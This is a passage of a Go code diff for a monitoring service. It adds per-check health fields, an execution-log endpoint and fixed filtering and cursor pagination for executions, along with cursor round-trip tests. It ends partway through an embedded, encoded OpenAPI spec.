JOIN entities e ON e.id = cd.entity_id
|
||||
LEFT JOIN entities te ON te.id = cd.target_id
|
||||
@@ -43,10 +43,19 @@ func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject
|
||||
var c gen.Check
|
||||
var targetSlug string
|
||||
var configBytes []byte
|
||||
// last_health is what turns a check list from configuration into an
|
||||
// explanation: an entity's health is the worst of these, so this is
|
||||
// the field that says which probe is responsible.
|
||||
var lastHealth *string
|
||||
if err := rows.Scan(&c.Id, &c.Slug, &c.Kind, &targetSlug, &c.TargetType,
|
||||
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version); err != nil {
|
||||
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version,
|
||||
&lastHealth, &c.LastRunAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if lastHealth != nil {
|
||||
h := gen.CheckLastHealth(*lastHealth)
|
||||
c.LastHealth = &h
|
||||
}
|
||||
if targetSlug != "" {
|
||||
c.Target = &targetSlug
|
||||
}
|
||||
@@ -173,6 +182,7 @@ func (s *Server) CreateCheck(ctx context.Context, req gen.CreateCheckRequestObje
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||
&id, "POST", "/api/v1/checks", "",
|
||||
nil,
|
||||
map[string]any{"kind": req.Body.Kind, "slug": slug}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -260,6 +270,7 @@ func (s *Server) PatchCheck(ctx context.Context, req gen.PatchCheckRequestObject
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||
&id, "PATCH", "/api/v1/checks/"+req.Id, "",
|
||||
nil,
|
||||
map[string]any{"enabled": updated.Enabled}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -285,6 +296,15 @@ func checkDefToGen(cd sqlcgen.CheckDef) gen.Check {
|
||||
if len(cd.Config) > 0 && json.Unmarshal(cd.Config, &config) == nil && len(config) > 0 {
|
||||
c.Config = &config
|
||||
}
|
||||
// Carried through so toggling a check does not blank its verdict in the
|
||||
// UI — the entity window renders last_health to explain which probe is
|
||||
// responsible for an entity's health, and a patch response missing it
|
||||
// would erase that until the next poll.
|
||||
c.LastRunAt = cd.LastRunAt
|
||||
if cd.LastHealth != nil {
|
||||
h := gen.CheckLastHealth(*cd.LastHealth)
|
||||
c.LastHealth = &h
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
|
||||
@@ -3,11 +3,22 @@ package httpapi
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
func ensureDefaultChecks(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType string, attrsJSON []byte) {
|
||||
checkdefaults.Ensure(ctx, tx, entityID, slug, entityType, attrsJSON)
|
||||
// ensureDefaultChecks derives an entity's default checks from the monitoring
|
||||
// kinds its type declares. Thin wrapper over the shared db.EnsureEntityChecks
|
||||
// hook so the HTTP create/patch paths and the MCP entity-mutation tools stay
|
||||
// in lockstep.
|
||||
//
|
||||
// Note the ordering caveat (carried from db.LoadTypeTree / checkdefaults.Ensure):
|
||||
// an entity created through the API usually has no edges yet, so a type whose
|
||||
// address comes from its host (a service) will produce no checks on this pass.
|
||||
// That gap is real and deliberately visible — coverageSweep reports it, and
|
||||
// the next inventory ingest fills it in once the hosting edge exists.
|
||||
func ensureDefaultChecks(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType, name string, attrsJSON []byte) error {
|
||||
_, err := db.EnsureEntityChecks(ctx, tx, entityID, slug, entityType, name, attrsJSON)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -67,6 +67,7 @@ func (s *Server) CreateEntityType(ctx context.Context, req gen.CreateEntityTypeR
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||
nil, "POST", "/api/v1/ontology/entity-types", "",
|
||||
nil,
|
||||
map[string]any{"name": req.Body.Name, "domain": req.Body.Domain}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -148,6 +149,7 @@ func (s *Server) PatchEntityType(ctx context.Context, req gen.PatchEntityTypeReq
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||
nil, "PATCH", "/api/v1/ontology/entity-types/"+req.Name, "",
|
||||
nil,
|
||||
map[string]any{"status": req.Body.Status}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
55
internal/httpapi/execution_logs.go
Normal file
55
internal/httpapi/execution_logs.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// serveExecutionLogs returns an execution's streamed command output.
|
||||
//
|
||||
// Registered as a carve-out rather than through the OpenAPI codegen for the
|
||||
// same reason as /activity/recent: it is a recency-ordered projection with no
|
||||
// schema type yet. Without this the execution_logs rows would be write-only —
|
||||
// which is the exact shape of the bugs this whole change set has been about.
|
||||
func (s *Server) serveExecutionLogs(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rawID := chi.URLParam(req, "id")
|
||||
execID, err := uuid.Parse(rawID)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid execution id", rawID)
|
||||
return
|
||||
}
|
||||
|
||||
limit := 1000
|
||||
if l := req.URL.Query().Get("limit"); l != "" {
|
||||
if n, perr := strconv.Atoi(l); perr == nil && n > 0 && n <= 5000 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
|
||||
chunks, err := execlog.Read(ctx, s.pool, execID, limit)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Also hand back the concatenation, since that is what a caller tailing
|
||||
// output actually wants to render.
|
||||
var combined strings.Builder
|
||||
for _, c := range chunks {
|
||||
combined.WriteString(c.Chunk)
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"items": chunks,
|
||||
"combined": combined.String(),
|
||||
})
|
||||
}
|
||||
@@ -4,6 +4,8 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/domain"
|
||||
@@ -15,8 +17,22 @@ import (
|
||||
|
||||
// ─── Executions ────────────────────────────────────────────────────────
|
||||
|
||||
// ListExecutions returns executions newest-first.
|
||||
//
|
||||
// The target/action/correlation_id filters are declared in the OpenAPI spec and
|
||||
// generated into the request struct, but were never bound — so
|
||||
// `GET /executions?target=<id>` silently returned the first page of the whole
|
||||
// fleet. Ordering was by target slug, which is neither useful for a history
|
||||
// view nor unique enough to paginate on: several executions share a target, so
|
||||
// a slug cursor could skip or repeat rows.
|
||||
func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsRequestObject) (gen.ListExecutionsResponseObject, error) {
|
||||
limit := clampLimit(req.Params.Limit)
|
||||
|
||||
cursorTime, cursorID, err := parseExecutionCursor(req.Params.Cursor)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||
e.target_entity_id, e.action, e.risk_class,
|
||||
@@ -27,10 +43,18 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
||||
FROM executions e
|
||||
JOIN entities te ON te.id = e.target_entity_id
|
||||
WHERE ($1::text IS NULL OR e.status = $1)
|
||||
AND ($2::text IS NULL OR te.slug > $2)
|
||||
ORDER BY te.slug
|
||||
LIMIT $3`,
|
||||
req.Params.Status, req.Params.Cursor, limit+1)
|
||||
-- target accepts a slug or a uuid: the SPA passes an entity id,
|
||||
-- while a human poking the API reaches for the slug.
|
||||
AND ($2::text IS NULL OR te.slug = $2 OR e.target_entity_id::text = $2)
|
||||
-- the run tool encodes action as "run:{json}", so match the verb too
|
||||
AND ($3::text IS NULL OR e.action = $3 OR split_part(e.action, ':', 1) = $3)
|
||||
AND ($4::text IS NULL OR e.correlation_id = $4)
|
||||
AND ($5::timestamptz IS NULL
|
||||
OR (e.created_at, e.entity_id) < ($5::timestamptz, $6::uuid))
|
||||
ORDER BY e.created_at DESC, e.entity_id DESC
|
||||
LIMIT $7`,
|
||||
req.Params.Status, req.Params.Target, req.Params.Action, req.Params.CorrelationId,
|
||||
cursorTime, cursorID, limit+1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -64,7 +88,9 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
||||
var next *string
|
||||
if len(items) > limit {
|
||||
items = items[:limit]
|
||||
next = &items[len(items)-1].Slug
|
||||
last := items[len(items)-1]
|
||||
cursor := formatExecutionCursor(last.CreatedAt, last.Id)
|
||||
next = &cursor
|
||||
}
|
||||
if items == nil {
|
||||
items = []gen.Execution{}
|
||||
@@ -72,6 +98,32 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
||||
return gen.ListExecutions200JSONResponse{Items: items, NextCursor: next}, nil
|
||||
}
|
||||
|
||||
// Executions are ordered by (created_at DESC, entity_id DESC), so the cursor
|
||||
// has to carry both — created_at alone is not unique, and paginating on a
|
||||
// non-unique key drops or repeats rows at page boundaries.
|
||||
func formatExecutionCursor(createdAt time.Time, id uuid.UUID) string {
|
||||
return createdAt.UTC().Format(time.RFC3339Nano) + "," + id.String()
|
||||
}
|
||||
|
||||
func parseExecutionCursor(cursor *string) (*time.Time, *uuid.UUID, error) {
|
||||
if cursor == nil || *cursor == "" {
|
||||
return nil, nil, nil
|
||||
}
|
||||
rawTime, rawID, ok := strings.Cut(*cursor, ",")
|
||||
if !ok {
|
||||
return nil, nil, domain.ErrInvalidInput
|
||||
}
|
||||
t, err := time.Parse(time.RFC3339Nano, rawTime)
|
||||
if err != nil {
|
||||
return nil, nil, domain.ErrInvalidInput
|
||||
}
|
||||
id, err := uuid.Parse(rawID)
|
||||
if err != nil {
|
||||
return nil, nil, domain.ErrInvalidInput
|
||||
}
|
||||
return &t, &id, nil
|
||||
}
|
||||
|
||||
func (s *Server) GetExecution(ctx context.Context, req gen.GetExecutionRequestObject) (gen.GetExecutionResponseObject, error) {
|
||||
id, err := s.resolveEntityID(ctx, req.Id)
|
||||
if err != nil {
|
||||
@@ -188,6 +240,7 @@ func (s *Server) RequestExecution(ctx context.Context, req gen.RequestExecutionR
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||
&id, "POST", "/api/v1/executions", "",
|
||||
nil,
|
||||
map[string]any{"action": req.Body.Action, "target": req.Body.Target}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -255,6 +308,7 @@ func (s *Server) CancelExecution(ctx context.Context, req gen.CancelExecutionReq
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "cancel",
|
||||
&id, "POST", "/api/v1/executions/"+req.Id+"/cancel", "",
|
||||
nil,
|
||||
map[string]any{"status": "cancelled"}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
64
internal/httpapi/executions_cursor_test.go
Normal file
64
internal/httpapi/executions_cursor_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// The cursor carries both created_at and entity_id because executions are
|
||||
// ordered by the pair. created_at alone is not unique — several executions can
|
||||
// share a millisecond — and paginating on a non-unique key silently drops or
|
||||
// repeats rows at page boundaries. The previous cursor was the target slug,
|
||||
// which is far less unique still: every execution against the same host shares
|
||||
// it.
|
||||
func TestExecutionCursorRoundTrips(t *testing.T) {
|
||||
created := time.Date(2026, 7, 28, 9, 15, 30, 123456789, time.UTC)
|
||||
id := uuid.MustParse("018f3a2b-0000-7000-8000-000000000042")
|
||||
|
||||
cursor := formatExecutionCursor(created, id)
|
||||
|
||||
gotTime, gotID, err := parseExecutionCursor(&cursor)
|
||||
if err != nil {
|
||||
t.Fatalf("parse: %v", err)
|
||||
}
|
||||
if !gotTime.Equal(created) {
|
||||
t.Errorf("time round-trip: got %v, want %v", gotTime, created)
|
||||
}
|
||||
if *gotID != id {
|
||||
t.Errorf("id round-trip: got %v, want %v", *gotID, id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutionCursorNanosecondsSurvive(t *testing.T) {
|
||||
// Truncating to seconds would make the cursor ambiguous for executions
|
||||
// started in the same second, which is the normal case for a plan whose
|
||||
// steps run back to back.
|
||||
a := time.Date(2026, 7, 28, 9, 15, 30, 1, time.UTC)
|
||||
b := time.Date(2026, 7, 28, 9, 15, 30, 2, time.UTC)
|
||||
id := uuid.New()
|
||||
|
||||
if formatExecutionCursor(a, id) == formatExecutionCursor(b, id) {
|
||||
t.Error("cursors one nanosecond apart must not collide")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutionCursorRejectsGarbage(t *testing.T) {
|
||||
empty := ""
|
||||
tm, id, err := parseExecutionCursor(&empty)
|
||||
if err != nil || tm != nil || id != nil {
|
||||
t.Errorf("empty cursor should mean 'no cursor', got %v/%v/%v", tm, id, err)
|
||||
}
|
||||
|
||||
if tm, id, err := parseExecutionCursor(nil); err != nil || tm != nil || id != nil {
|
||||
t.Errorf("nil cursor should mean 'no cursor', got %v/%v/%v", tm, id, err)
|
||||
}
|
||||
|
||||
for _, bad := range []string{"nonsense", "2026-07-28T09:15:30Z", "notatime,018f3a2b-0000-7000-8000-000000000042", "2026-07-28T09:15:30Z,notauuid"} {
|
||||
b := bad
|
||||
if _, _, err := parseExecutionCursor(&b); err == nil {
|
||||
t.Errorf("cursor %q should have been rejected", bad)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -86,6 +86,14 @@ const (
|
||||
CheckKindTcp CheckKind = "tcp"
|
||||
)
|
||||
|
||||
// Defines values for CheckLastHealth.
|
||||
const (
|
||||
CheckLastHealthDegraded CheckLastHealth = "degraded"
|
||||
CheckLastHealthDown CheckLastHealth = "down"
|
||||
CheckLastHealthHealthy CheckLastHealth = "healthy"
|
||||
CheckLastHealthUnknown CheckLastHealth = "unknown"
|
||||
)
|
||||
|
||||
// Defines values for CheckCreateKind.
|
||||
const (
|
||||
CheckCreateKindCertExpiry CheckCreateKind = "cert-expiry"
|
||||
@@ -273,10 +281,10 @@ const (
|
||||
|
||||
// Defines values for TrendDirection.
|
||||
const (
|
||||
Degrading TrendDirection = "degrading"
|
||||
Improving TrendDirection = "improving"
|
||||
Stable TrendDirection = "stable"
|
||||
Unknown TrendDirection = "unknown"
|
||||
TrendDirectionDegrading TrendDirection = "degrading"
|
||||
TrendDirectionImproving TrendDirection = "improving"
|
||||
TrendDirectionStable TrendDirection = "stable"
|
||||
TrendDirectionUnknown TrendDirection = "unknown"
|
||||
)
|
||||
|
||||
// Defines values for ListApprovalsParamsStatus.
|
||||
@@ -462,7 +470,13 @@ type Check struct {
|
||||
Id openapi_types.UUID `json:"id"`
|
||||
IntervalS int `json:"interval_s"`
|
||||
Kind CheckKind `json:"kind"`
|
||||
Slug string `json:"slug"`
|
||||
|
||||
// LastHealth This check's own most recent verdict. An entity's health is the worst of these across its enabled checks, so this is what explains *why* an entity is degraded. Null until the check first runs.
|
||||
LastHealth *CheckLastHealth `json:"last_health"`
|
||||
|
||||
// LastRunAt When this check last executed. Null = never run.
|
||||
LastRunAt *time.Time `json:"last_run_at"`
|
||||
Slug string `json:"slug"`
|
||||
|
||||
// Target Entity slug (instance-scoped)
|
||||
Target *string `json:"target"`
|
||||
@@ -477,6 +491,9 @@ type Check struct {
|
||||
// CheckKind defines model for Check.Kind.
|
||||
type CheckKind string
|
||||
|
||||
// CheckLastHealth This check's own most recent verdict. An entity's health is the worst of these across its enabled checks, so this is what explains *why* an entity is degraded. Null until the check first runs.
|
||||
type CheckLastHealth string
|
||||
|
||||
// CheckCreate defines model for CheckCreate.
|
||||
type CheckCreate struct {
|
||||
Config *map[string]interface{} `json:"config,omitempty"`
|
||||
@@ -8208,175 +8225,177 @@ func (sh *strictHandler) GetTrends(w http.ResponseWriter, r *http.Request, entit
|
||||
// Base64 encoded, gzipped, json marshaled Swagger object
|
||||
var swaggerSpec = []string{
|
||||
|
||||
"H4sIAAAAAAAC/+x963IbudXgq6C4WzXUpCn6MpPsyLU/FFljO7FjraXJt6mRiwK7D0mM0EAPgKbEuFyV",
|
||||
"X/sAW3nCPMlXuHY3iSabF1nOVP7YkhqNBs4FOPfzqZfyvOAMmJK9k0+9GeAMhPnx/ApP9f8ZyFSQQhHO",
|
||||
"eie9DyB5KVJAcxCScIYmXKA3k8E7rNJZL+nJdAY51u+pRQG9k55UgrBp7/Pnz0mvwALnoNwHzkohuVj9",
|
||||
"xPsC/1oCSs1jNBE8RxgVAuaElxIJkAVnEr6RiMG9GtlhvaRH9Lu/liAWvaTHcK4/Hh62LyvpnTNF1OJN",
|
||||
"trqSn3568xJxgSQtp6gPx9NjdDPjUp3MyrEg8ubIf7bAalZ9lWS9pCfg15IIyHonSpTQZQWXtIwA3D5r",
|
||||
"LOFOnuQ4HeSEkZsE3dD79CTFWbZoW49+d8sV/Sh4fkX025+igNVYaYB1wkWOVe+kl2EFA6VfTSLzvskg",
|
||||
"L7gCli7+DIvV3Z5RAkwNpsBAYAUZuoXFCySgoHgh0R1RM8LQs+9mSIAqBUNqBogLMiUM00AaHgqWmKtF",
|
||||
"1z4+0F+vrz/H92+BTdWsd/L02f+KLn1iaXwVQ1d4WpEp4QK9Or96gb57+gxxFvgkJzJ3PBJfXMVD2yDq",
|
||||
"LcmJasMSNQ/rE2QwwSVVvZPvnyR6zyQv897Jsyf6N8Lsb0/D7glTMAVhPnTF19GD4ttTw2e9U4sxcx5c",
|
||||
"AMsIm54WheBzTPWfUs4UMLM/XBSUpFjDfPiL1ID/VPvg/xQw6Z30/sewOs6G9qkchgnNJ5fobYbZFJBU",
|
||||
"eArZC4RRDgoPsHsD3WGJUgGGEvtZielAr0hwetT7nPQuBB9TyNcstLAjfrfdgv28kfWeC8EF6n/48Qz9",
|
||||
"8N33fzDLuCRThulPhYZ1djCo2Vlja3BfQtKP8Jg3WDydAlOnqSJzogyDF4IXIBSxSMbuychSw6ceME1z",
|
||||
"P/cU53SUYkoNA2DJmaYS/e2UaAbqJb08LUae7kCmmJp99T6ukFbSw3oVI5JFmCbppVwIsC+7IaykFI8p",
|
||||
"eI5beSUrhR2fyzXjA78kPTDHdtfpGwutzUJYUaqRLPMci0WnmXiptn1FgpRbgEKWaQpyHRjGnFPATA9W",
|
||||
"/BbYKOWlJcfNcDNkYA+VDmuxQkvHu6c6Vn+2V7SSvRqlJEu0WZEVH/8CqdLfq59Nq3Rt2WuV3OwBMsKq",
|
||||
"62It1Wfr39lMs26OcTcygPuCCJBbLdOSTBhblhauy8NuCcvqvA73kJbKMnXBKUkXg9QcxPp3rBQINjDI",
|
||||
"aGfwAi8oxxGZzYhIGjdcQobs7Cgjk0k7yCr8CiJvRynFlrxXSd9JaKsPFFalrG+xsJeZpipDM5CZs4wR",
|
||||
"84OFtRUT5/wWsugeZWkXtlYm1BJQuK9SzlIQTG4mjxg/ODnRkXIDGg6HYacNcmmQ+Dq2+VBS2Ip1cKk4",
|
||||
"4/liRGEOtA5f/aS6Bgw/wBxEFI7uLPY3ThOW7/ACjQHhsVQCpwr1CZuBIEqijN+xoy6M1pELNhFXygsY",
|
||||
"2bWuR7lWuQoQAzsW8TkIQTKQXdbqxNHYdRMjiTgtLKGlmnUT8s8MnTw+CeyLm/XM1AloUVCVGVHnTInF",
|
||||
"diBKFRddr287eFn6MrdgL+npL2JlVeaFVOCVvKykLZDdRZgChQmtbaWCwGHEphzUjHebwmjKncQeY/YY",
|
||||
"kaLbaHNMjlKeQUe55wCSTIXZwLhxKrOEeAlK6RlXSO3WauZwj/NCr7k3pXyM6bGm4BFOVexwK61SsJX0",
|
||||
"MMe0jLNj91Pq1ujxdqb159DZDNLb1c2mnE1IxO7yV0yJ1XP0Uetuvwi9arTWybAm/Ha8F/TWxBzTkYxT",
|
||||
"87L0NFOq0POk+t+MyFt9AYNQA3Mla3Bkgkw0lgorgUg5G9itxcWMNqlGYTGFDeJHnzCpMEthYM7IrNOF",
|
||||
"aSduuZDd7Poh6ut/t5qZ5MC1/hMH5Rq6Snp/56yL1rFGcnJUUkNofUUVtXQg1LabsiLXdbQYzDxtelmT",
|
||||
"5sLw3z95knydFLiJhtZTQtjg0+j+PObXY7qO5Fa8XXgb4S5o24SnyLWxjt4/xxappREycTah3SSx1J+k",
|
||||
"K0PGFEs1EjgjVhsiCvK4ROX+gIXAi7gYcRA9uuMR7JTOkUFTBixddxCwMh9b6Fd2qhhiBaQ8z4EZPT6A",
|
||||
"dV8dVPBSwbIYPLC3ck0UnnHaolQaq11nY88toZ0HV9y6wxEaF5rtbpsWwSVS2ah9Wp/CGWcK7lWE4o0B",
|
||||
"aEIoyJG1QkSsChdYzSTiE2RGI33pidKsGJk3kZphhfzryRaEL4mjtuYHr0gOUuG8MNqeVvIZ3CtUcEqR",
|
||||
"hh1IjfBuTCB5IS1pT9t3eCVKQGSCjvXo4wXO9XdSUmjYydrOYjY+TruAzowbfnssQZXFsZztDrPaNb6k",
|
||||
"zHPGFWckRalFd3C/OKZNNsmTay9mQ0iXkAqw4vqK2CxXl/SGTYgkKaZImheRHoawsaGSMQWkOFIzIlFq",
|
||||
"Zt8CDquSsIwu+yWWszHHIrusjMJLLOBUdDnyZqvoZWOUMwJyNF6MtIJjyBZnGdFbxfSiMefq60t2Oivm",
|
||||
"GdOw1ECBDI0XyM6btGiG7uP+0j/wt53qtPrpuT4hhNvw0lT6mZ9pXKa3oOxk3w9ywkoFyF/hCcq5VJqp",
|
||||
"9Bv6oqzjuokQO1H3ay4Y2DdQt5vXvxCjlmVeC7baA6HdTxfHfGIAg559N4shYgaYqoh0lcFU4AxarAEZ",
|
||||
"v2uR+O18i/hDqTCNINysj4+lxqnZB6cZ6BMaW2+0EY6+kQjuC0g1LaTYChQxwbNkt6xldUuY80tNqs26",
|
||||
"nVWzxNBpr3uLO5iDcAasXdHHC2CozzgbCJCcziE7cn7AVXz6z62samlrK5wdO2kC8uNbSiJnWJx2G+wc",
|
||||
"g9g5E5zSD+6OXaG1GZfK+6easDlNVYkp8gPMlTcDBGY+wqYox+mMsCgD5yBnzrbUnPTSRtvo5+jNhREG",
|
||||
"tIBqzq+5NVFYsalVqdoUTnInTxjcDSguFC+ONtqbzLTr4OZiMGJy1qgQZI4VjG5jsR+nr84Hl+dnH86v",
|
||||
"Bn8+/9vg+PjYbJdyfXlmkIpF0bZXM3c5piSNT42n8FTPZ8doGjVTX76/uKxJOXHjjLu+R/Z+drJw2x3/",
|
||||
"EyNagsD0tFQzd6WjNy87zWzlg61nd6/FiMrS28gTzMh4Y9d9wL1RkZiVU5B9cRNpLGEhWUF5HJztoIiT",
|
||||
"mYoHFiglyLhUjXOsem0X5bG6blqvAMiQHZWguxkwx/AGdESinDOiuHX0BdtJh4PcXz4fD+d8Moq5uZsc",
|
||||
"CJpbMou3SzNBL40ttikaG9eWY32RMMxSGJVMWZv/blP5I7f1mKus1bUIvV6Lab5jdEGbbWknY/d2jjdn",
|
||||
"bHL3odl9NUeDnBvLaeeYVtdbg2/abOB4irXOa+hbf+AbicKLIxdQFPn0Rqy1Y6e5kpfWgCettgSIkgmk",
|
||||
"i5TqhTjj3mhJdVjF45KuWEplPL9IizPB/wuV+bnbXdhEUjsCLuLRg6cKUTDcxoLIMCFAM4lyt8JCgASm",
|
||||
"jnvJFrh7B8KEtM1XcNgFcV+Ec+OovjJWpArDVjFAfSUwk0ZorfYUF1daEHDlyKAFhqN6lGR9QX+6fP8X",
|
||||
"dOlBtdF+13g5su2Ma+BGHxE58nQYNwdTvABRN/7loLC9QAW2JqlSaKxM+RyEQZ9R9qaMtEbSBEB3NfO1",
|
||||
"IrTAQl/ent02GxcNTEdrnTKrkTUmMAjM/VkISE3Q48e9Dlx3ujrEeCg30RFW8nEtfW08ZUcrwbwPQTnB",
|
||||
"3zHBVEYdQCuUdEgS2plk1h+3cTytR0iLP+Yg+NiVNqNH1NxF7C77jbaPrsAKP2BsRd2KUKMd3kt6d1h4",
|
||||
"E70gSsvzcQ+EUWnjBk7ZXaAKISxB8LOGgWOBiYRsi8AJd3/XjAluiVHSCrGLW/nOavHIm0N0nCmj6/i0",
|
||||
"4dPr/BbXYFN7Bpk+kN9u63jrzo4+gfOItHR5SyhF9inqr8pM9ok7LI5iEpMAaU7c/T18D+ihs4NrN+Nm",
|
||||
"wK6T1MW+1BOJm3WRu83AWRt5tDaQ1tn6zPGj+XiyqP1sB08wsdEXennZiJfGEq5vOGr/Lrj+YTTG6a37",
|
||||
"Tf84cu993MflWVtIRLLbOho3hOFu6wwNx1ergbM6xaqTVYDB9nqOirAElm1XZ53Gl1jRmpONczDnJggc",
|
||||
"Musi6/PCGq2PesnW4Ur1ZL6Nl4Oba20c3SuBi9lfCdytwhCyKTQDINal2nxwCJQzUsRcMJUdqs1sv6Nx",
|
||||
"KRKZGXGTkQwNrssnT55DsHU5jdTavAhLaZnB/7Y0acxHzkMN0Zg5xrMtgOPsfRGwKFGy1Oc8xZ3Z+lMo",
|
||||
"xYVZ1IyoiP96WcbkNpDaYjCG9tcGBq2+VO+6aGxwyYUQ8HkovK1Y93Y8jlvjsAQ0I8BIrs9in6Gll+wC",
|
||||
"vZT5QMMntaudba2xxcGwiwdTtqHqP27DFrfhMuQdACu/XBTuf2b8jmq+eU0i10pXOzVht5CNoly0MS5E",
|
||||
"YHbbKXCrXahhpChil8hrMp1RMp1p1Jg8Xh9h0omvbOx451hzRRSFNTuu+DDjaZnbsBFRsjHnt8YaNAep",
|
||||
"yLQte2qzvdkuIIbkt17Vf6mP7FWOqptio4aKrN0WuCW2FYicaClip5eDNTGiDXyaCJ6foE+Kn6BPDlTy",
|
||||
"BP3McA7ZwLBqgo6Pjz9+/vx5o3ub+LQpc6+sGKtr64jB+x0oQdJLEA7Ckctm0aZ45ebdlihCSsuiTkkC",
|
||||
"3/WS3tOZ/qclctBIg+suNjyfdmK/LfJBc3zfacqcsE7jtrEwhPyEpRIY+A5ZWCCfd7Dhs8vCpex0b4VL",
|
||||
"d514dGUGRUMqFlYhcFQQcF4hMraICxsJu51xoygoAdkei90Mq21C878IlZwhyu9AoDEvWZZoia2wQSQw",
|
||||
"t+/ZFOLh970ISptj4reyVuFKsXbINo7UYCDYS9wqKlivPPu1xAIzRVhbZPgWuaizRcHVDCT5u8098Iv3",
|
||||
"Kc9LBktzgYQxH9tTwNdBczd3Z4OSarqvh1SDlFYwX1OL14Vx1so2LN9eS3lptfxBIbiI3BQ/EqDZwGT0",
|
||||
"1cJxkB2O+t89e3bUHuVn3Hzx47lNc16CnZ0hjO9yqvh8nQ20E0s12CSUBK9DD495qU7GVMtjteCBUpDN",
|
||||
"mrf5zFp3y4VWPeRaG8Y6p/a7Ny8TlHIBMkEC56N8nKCMyNvRdJwgUiRIQV5QE4yYm5i2BGmxnaQgo0GJ",
|
||||
"XEbkxUtaTr0790Lw+5zfm8gwF3RVi1GI2jLiEWavyxyzgQCc6XMFOX9Ix8gv8116n578ApQuJoRt7yqn",
|
||||
"92mC5nmCuEAZT29BmHoomLB6aHV3Z7kD3gYctwWUVem43ewHIRowanYKhjH05qWJMhA4vUWFXwZhU/3L",
|
||||
"VICxv224JqLXcW9pCWu3fRk4cWnT+mSJ1Myag8CU2oMHkUlz4cHwubsFoMVZf1YKASxETbSGYEgFxTrJ",
|
||||
"0ax7lIOUeNrNeTwhjMjZ/vbnh7BhhwBUUTLnETOKWcCDvNVqZsvlqqDoYA3Ro9aekmuTBRwzenxZ9MRm",
|
||||
"adgmN5yzGx0flecvfli60nKBXTqbeMNpa2NH1kzQJqKay3tkypptox+QbKT4rrSzjBMLnaQyPruzsra2",
|
||||
"TSjqFuXVGTHrbebt+Nj4XjeLXxwgm2AQj/NJscgIw3TJdc0ZDBQfcBOW7X7JMdPEo/+rnvnfzMONtvOY",
|
||||
"5YNpoRT2C7FxlqROpUx622Zeb3w/Ho9RX1PzC0kD6lG8EXl75j2h8aSkUfXJCm3MIawqV+F/tIluIm85",
|
||||
"XUMSK6Za5WxRrjbhsgU/cfisbiSyjBhwXAm2VVI2hv6OLl+vI3W8VIVUIwnAtvLWTygu1imDM06zUcbv",
|
||||
"2L6xhNvWm6pCQ6wAP3Cm77hWv/W+KbkFuhiluOzI13mp9o6n5GlqhK71Bo8DhOlsFAUr06ELuMHprfcB",
|
||||
